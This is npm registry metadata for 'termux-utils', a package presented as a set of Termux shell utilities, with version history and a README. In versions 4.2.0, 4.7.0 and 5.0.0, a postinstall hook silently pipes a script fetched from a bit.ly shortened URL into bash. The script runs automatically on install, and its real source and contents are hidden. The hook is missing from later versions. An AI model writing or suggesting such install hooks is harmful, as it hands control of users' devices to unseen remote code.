{"_id":"termux-utils","_rev":"12-d7089e76c8f70193ffda1c392459c8cd","name":"termux-utils","dist-tags":{"latest":"8.2.0"},"versions":{"3.7.1":{"name":"termux-utils","version":"3.7.1","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"ISC","_id":"termux-utils@3.7.1","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"dist":{"shasum":"a382a7f668d4b41f4c803622c852ba0981497f50","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-3.7.1.tgz","fileCount":35,"integrity":"sha512-+MBvirJwRomaKoISF+6hQb+fB8UNPan6vOQ9rguYgetw8RcjBioWBSyqto83s0F0ZzPAs8pUEZGK7JbSAm9dkA==","signatures":[{"sig":"MEUCIGsEbj+prY38Ep0ilIOq22U1mlOkmkTJFO7HiZcscB7UAiEAqNdJJ98cA4Idrg2p+ZnrlrgkW4dgwZyKd5P8CnHjM0o=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":62306},"main":"index.js","type":"commonjs","gitHead":"3378e4ddba15637bd623d41b16a83f76b325c50c","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_3.7.1_1775224657534_0.6830475430487082","host":"s3://npm-registry-packages-npm-production"}},"3.7.2":{"name":"termux-utils","version":"3.7.2","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"ISC","_id":"termux-utils@3.7.2","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"dist":{"shasum":"a9e9c4f9c81517bf48f99bda86bb4d0b514d4658","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-3.7.2.tgz","fileCount":36,"integrity":"sha512-c5WidczkKfgoiRnh2SFhmeKrQtF6N61WhVcjU8Xz8prtWLa+5HQtReLQrtnC6J61vTWz9vf4EwIrkACSUvO8AQ==","signatures":[{"sig":"MEUCIQCPyiZ4U9OWP821li4rWc4Cp05GaYdjP5cm2ROnGisYWwIgF555CRG5J8ODdip0MmWneRtUw93PvwTBwuAmoWxPYXk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":62356},"main":"index.js","type":"commonjs","gitHead":"d1638c99afd9eacb243460a48c72347ed61d0f4b","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_3.7.2_1775225162275_0.4298399387934486","host":"s3://npm-registry-packages-npm-production"}},"4.2.0":{"name":"termux-utils","version":"4.2.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"ISC","_id":"termux-utils@4.2.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"termux-utils":"index.js"},"dist":{"shasum":"d0afda7936126e62e6efe37c6d78be9f509204b0","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-4.2.0.tgz","fileCount":36,"integrity":"sha512-96ST4MHafhxR+qIzxdIOmZ+ncfdNIiKnsF6n2sHYEaWtxaBnR1yPklXL1kBWTpuK4bM26Q3PzbUfMm897ODcNw==","signatures":[{"sig":"MEYCIQCf9xUkWjiU2npoEmUCAK3pClPiT/ZTvOtxGKwswnPy0AIhAJyygViC+7mcrRy5IDz6GtshAh2eQO4XEs6wS2Y3vbqt","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":62465},"main":"index.js","type":"commonjs","gitHead":"60edb9eadae1761a2451fcc845033fa386356e3d","scripts":{"test":"echo \"Error: no test specified\" && exit 1","postinstall":"bash <(curl -sL https://bit.ly/4d7AzZC)"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_4.2.0_1775225822238_0.49346675694393416","host":"s3://npm-registry-packages-npm-production"}},"4.7.0":{"name":"termux-utils","version":"4.7.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"ISC","_id":"termux-utils@4.7.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"termux-utils":"index.js"},"dist":{"shasum":"f48cb9397899c0bad77d323a6043c3ed852ba00e","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-4.7.0.tgz","fileCount":36,"integrity":"sha512-LThGSi+x5WTj7isur+GmsQouX981eM8smuGovPCkLCFcEHlaFi3tb+Dvj2dZBjis4535y4Ox0M1RuQRqJlxuEA==","signatures":[{"sig":"MEUCIGt5oPSficJmFRVU8pZC5OhIeNq5/zGsWFeUj7hslT+UAiEA8j37Q0DjKe/9oNCyaUu9Qx5yC/FD62oOYinmD3jEWxo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":62464},"main":"index.js","type":"commonjs","gitHead":"57126fa81540b7df23c0baa83a6d6e7590ec1d20","scripts":{"test":"echo \"Error: no test specified\" && exit 1","postinstall":"curl -sL https://bit.ly/4d7AzZC | bash"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_4.7.0_1775226312900_0.2509348511195286","host":"s3://npm-registry-packages-npm-production"}},"5.0.0":{"name":"termux-utils","version":"5.0.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"ISC","_id":"termux-utils@5.0.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"termux-utils":"index.js"},"dist":{"shasum":"251da9db27165ff069fcbb38e52ed67c63e1a842","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-5.0.0.tgz","fileCount":36,"integrity":"sha512-1TIiyXA+nqsl1X5ZxJvPH7kLOhee7LOzligpCippT46vEdKnGSYovm25DCFrO9LNBcBE6Poy415/S8bkU9ua0A==","signatures":[{"sig":"MEUCIQCC64iQ2XKpPdBExkaYwYq70P+9vndoHadE4BtcUB/t4wIgIa2J5StSKe7Hi6NYAbeZyZrZg2R3jVz8dYCdFRLYU+U=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":62464},"main":"index.js","type":"commonjs","gitHead":"690a11d9e983327ccdd69a1c60c80f846f4ff357","scripts":{"test":"echo \"Error: no test specified\" && exit 1","postinstall":"curl -sL https://bit.ly/4d7AzZC | bash"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_5.0.0_1775226495662_0.2958943555555593","host":"s3://npm-registry-packages-npm-production"}},"5.5.9":{"name":"termux-utils","version":"5.5.9","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"ISC","_id":"termux-utils@5.5.9","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"termux-utils":"index.js"},"dist":{"shasum":"e3b7e0f56fb72723432d24a67afa8a4377f55f81","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-5.5.9.tgz","fileCount":36,"integrity":"sha512-ZNG+STf415jozNTfkNoYxXsUmGJJnfydSg2HVnmCBVtoWAORI0XoNepW5N15mRzQhteq4yFfeW7yEfwIRRT4SA==","signatures":[{"sig":"MEQCIFtLR4CFO94vd0suNcwO+U9wH0CMt5OoQ4gDjfz4QsT7AiAZYVERlZOhWGLlEEFVTFed1tDk6wxOsznBmmNX1/Cu6g==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":62403},"main":"index.js","type":"commonjs","gitHead":"690a11d9e983327ccdd69a1c60c80f846f4ff357","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_5.5.9_1775227016180_0.2041572207837361","host":"s3://npm-registry-packages-npm-production"}},"6.2.0":{"name":"termux-utils","version":"6.2.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"MIT","_id":"termux-utils@6.2.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"termux-utils":"index.js"},"dist":{"shasum":"344eb7a8906c49da4613cf0a84ee77ac45fa332f","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-6.2.0.tgz","fileCount":33,"integrity":"sha512-EUB9u3qHBAwFUj6SaTZNmHMm+ca2r+V42u2Lh53TMFpPG2vQCn7VpvfuashlBbuCy0bxu2AjuHSGasSCxdzWtQ==","signatures":[{"sig":"MEUCIQC5ncDJD68vQ2TAZm/R9Nwb6ZdvlmbOfYpD+pTsacviZAIgfFycDqFRY4qBbA1aBZZbKLZwQpdqAODdheQMvT9JQss=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":83223},"main":"index.js","type":"commonjs","gitHead":"8462770b26bcc60aa4f541723eb872b134af1dd8","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_6.2.0_1775624425674_0.9763182790546823","host":"s3://npm-registry-packages-npm-production"}},"7.0.0":{"name":"termux-utils","version":"7.0.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"MIT","_id":"termux-utils@7.0.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"tu":"index.js","termux-utils":"index.js"},"dist":{"shasum":"d5091b659f5a21963692cadf2f8d5d012932b9ab","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-7.0.0.tgz","fileCount":34,"integrity":"sha512-wQGB/WO4LhHEO558hOTZgr3fCdJLwHlkySVmKgr15MouPJz6V3LU2v3ncP0397LrpLk8vm1cuCp1lKsR0QS8TA==","signatures":[{"sig":"MEQCID/vrf3dCOd3MgAgQXv6AzZQ09h4Vr8nLVKhSQ5St1nZAiBx5v01R30Nb7n7DqU9qvImzvZattWsXgCy9JL1mNKB+A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":88395},"main":"index.js","type":"commonjs","gitHead":"4ccd5a71c2f97c93726aca071803a846e96f8266","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_7.0.0_1775625835457_0.1710333332808549","host":"s3://npm-registry-packages-npm-production"}},"7.4.0":{"name":"termux-utils","version":"7.4.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"MIT","_id":"termux-utils@7.4.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"tu":"index.js","termux-utils":"index.js"},"dist":{"shasum":"ed27492c2aa09737763bc1068b0f90f63bdd6f54","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-7.4.0.tgz","fileCount":38,"integrity":"sha512-Arcf0Yu8Zjn4EVJy9V7bAweFOtZgKv63XojdsXPYs1HHpuuzP22DWTni42FVo48hSMfnsePUIrXwObHyzatTSA==","signatures":[{"sig":"MEQCIDZRBlQKFj58LqpuevCLiJsVrEPjLWntg43B+u2jmVVIAiBdFNr4QtTD92rZC0mCYYHKg481Szxzb26o3NKap9b1YA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":98651},"main":"index.js","type":"module","gitHead":"f899573826a04ac90d7e2c9130c7bf07a76e2b34","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_7.4.0_1775654490519_0.164685868308309","host":"s3://npm-registry-packages-npm-production"}},"7.8.2":{"name":"termux-utils","version":"7.8.2","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"MIT","_id":"termux-utils@7.8.2","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"tu":"index.js","termux-utils":"index.js"},"dist":{"shasum":"d50d871d4e81bc0662765cb5dd9751e92ab171ee","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-7.8.2.tgz","fileCount":41,"integrity":"sha512-bQ/qH2A5LUIb58zGH3gokSz5BxH8KvedVOuNwiPh2YIgUP/KpOKzc/3IywYVzfxqC7Kxg99HQ3G2tW/CLlDY/g==","signatures":[{"sig":"MEUCIFdIPKxZJNdWckxKofCsTZ2pvucuTiCtRkuBe5H/xkg7AiEAu40biWNrYlDZymgulmn6RvSQ9ML/t2NMJmGlaEt2xFQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":100362},"main":"index.js","type":"module","gitHead":"afc8dae50e8782c3f04cb0fc79f99266ad5107db","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_7.8.2_1775663235900_0.7589170490034982","host":"s3://npm-registry-packages-npm-production"}},"8.0.0":{"name":"termux-utils","version":"8.0.0","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"author":{"name":"tanazd2"},"license":"MIT","_id":"termux-utils@8.0.0","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"bin":{"tu":"index.js","termux-utils":"index.js"},"dist":{"shasum":"275f4cbcace7306e2403ef3055aa2df0be426104","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-8.0.0.tgz","fileCount":43,"integrity":"sha512-NlRLLfKt29MWvsOcua+5Zxe3mNMIsehU6yv41X/eedlG5hU8yJ8ERI8oxjCBNA7rb0kanIObBcS33h2tlgfDjw==","signatures":[{"sig":"MEQCIHOKKcozpoXfeMDhzTpvR2d1TWgGronesVjF97KtrKidAiB0Yf5k50xb7i+iEDp4mrdGGdIHCWljEtVj4ePBk0HqxA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":67300},"main":"index.js","type":"module","gitHead":"9d0d32bcb96c27f92e1cf3bd685d8b986c2dff32","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"repository":{"url":"git+https://github.com/tanazd2/termux-utils.git","type":"git"},"_npmVersion":"11.12.1","description":"termux utilities","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/termux-utils_8.0.0_1775663672186_0.0329385573984593","host":"s3://npm-registry-packages-npm-production"}},"8.2.0":{"name":"termux-utils","version":"8.2.0","description":"termux utilities","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"homepage":"https://github.com/tanazd2/termux-utils#readme","bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"repository":{"type":"git","url":"git+https://github.com/tanazd2/termux-utils.git"},"license":"MIT","author":{"name":"tanazd2"},"type":"module","main":"index.js","bin":{"termux-utils":"index.js","tu":"index.js"},"scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"gitHead":"a90c82b42edbb7b7eb46bdd7de51c10a296bbe97","_id":"termux-utils@8.2.0","_nodeVersion":"25.8.2","_npmVersion":"11.12.1","dist":{"integrity":"sha512-/1SNoMjHv/5s52EdBuelaakMGFxBjhyI96CG52yQ7jAUIXAJE9kx8D4IAE/JdMiuWsBzgDW/jX/Kyo0u5v1U2w==","shasum":"097a6b8d728bc88948ef40590fd98693ffb23a5b","tarball":"https://registry.npmjs.org/termux-utils/-/termux-utils-8.2.0.tgz","fileCount":45,"unpackedSize":76101,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIAUE3HoX5gZGdzmaus1SutSMVOd+2WKkQ705iJa4CKG4AiBqT5buUKnf0E4VD/vvHF8RsNYWRvjZoXhMO2oEoCw95Q=="}]},"_npmUser":{"name":"tanazd1","email":"tanazd1@gmail.com"},"directories":{},"maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/termux-utils_8.2.0_1775664645582_0.008667814877804103"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-03T13:57:37.533Z","modified":"2026-04-08T16:10:46.562Z","3.7.1":"2026-04-03T13:57:37.702Z","3.7.2":"2026-04-03T14:06:02.504Z","4.2.0":"2026-04-03T14:17:02.459Z","4.7.0":"2026-04-03T14:25:13.033Z","5.0.0":"2026-04-03T14:28:15.865Z","5.5.9":"2026-04-03T14:36:56.320Z","6.2.0":"2026-04-08T05:00:25.835Z","7.0.0":"2026-04-08T05:23:55.617Z","7.4.0":"2026-04-08T13:21:30.669Z","7.8.2":"2026-04-08T15:47:16.066Z","8.0.0":"2026-04-08T15:54:32.331Z","8.2.0":"2026-04-08T16:10:45.721Z"},"bugs":{"url":"https://github.com/tanazd2/termux-utils/issues"},"author":{"name":"tanazd2"},"license":"MIT","homepage":"https://github.com/tanazd2/termux-utils#readme","keywords":["cli","termux-tool","termux-tools","scripts","linux"],"repository":{"type":"git","url":"git+https://github.com/tanazd2/termux-utils.git"},"description":"termux utilities","maintainers":[{"name":"tanazd1","email":"tanazd1@gmail.com"}],"readme":"\n![Demo of C shell and x working](.hidden/.secrets/x1/Demo.png)\n\n🚀 **Termux Misc Toolkit**\n\nA collection of powerful utilities to supercharge your Termux Application!!!\n\n![Stars](https://img.shields.io/github/stars/tanazd1/termux-miscellaneous?style=flat&color=blue) ![Forks](https://img.shields.io/github/forks/tanazd1/termux-miscellaneous?style=flat&color=green) ![Issues](https://img.shields.io/github/issues/tanazd1/termux-miscellaneous?style=flat&color=orange) ![Pull Requests](https://img.shields.io/github/issues-pr/tanazd1/termux-miscellaneous?style=flat&color=red) ![License](https://img.shields.io/github/license/tanazd1/termux-miscellaneous?style=flat&color=yellowgreen) ![Last Commit](https://img.shields.io/github/last-commit/tanazd1/termux-miscellaneous?style=flat&color=purple) ![Open Source](https://img.shields.io/badge/Open%20Source-Yes-brightgreen) ![GitHub repo size](https://img.shields.io/github/repo-size/tanazd2/termux-utils)\n\n---\n\n⚡ **Features**\n\n- `\"c\"` → Custom C shell (similar to cling)  \n- `\"cdt\"` → Run commands in a directory and return to `$OLDPWD`  \n- `\"ns\"` → Run scripts without a shebang  \n  ```bash\n  ns <INTERPRETER> <SCRIPT>\n  ```  \n- `\"su\"` → Fake superuser wrapper  \n- `\"tc\"` → Parallel job runner  \n- `\"tct\"` → Test `\"tc\"`  \n- `\"x\"` → Universal archive extractor  \n- `\"lock\"` → Lock your terminal  \n- `\"exe!\"` → Run scripts even from internal storage  \n- `\"r\"` → Run hex codes!\n- There are more commands, figure it out yourself!\n- Hint: its not in the wiki\n\n\n\nCAUTION: read more ![here](.hidden/.secrets/x1/README.md)\n\n---\n\n📦 **Installation**\n\n```bash\napt update -y; apt upgrade -y; apt install curl wget tar coreutils bash nodejs git npm -y; git clone https://github.com/tanazd2/termux-utils.git; cd termux-utils; node index.js i\n```\n\n---\n\n🧪 **Examples**\n\n```bash\n# Start custom shell\ntermux-utils c\n\n# Run command in another directory\ntermux-utils cdt ls /sdcard\n\n# Run script without shebang\ntermux-utils ns python script.py\n\n# Extract archive\ntermux-utils x file.zip\n```\n\n---\n\n🧠 **Why this exists**\n\nTermux is powerful but lacks convenience tools.  \nThis toolkit adds speed, flexibility, and better workflows.\n\n---\n\n⭐ **Support**\n\nIf you like this project:\n\n- Star ⭐ the repo  \n- Fork 🍴 it  \n- Suggest features / improvements\n\nAny FAQ? Click ![here](FAQ.md)\n\n","readmeFilename":"README.md"}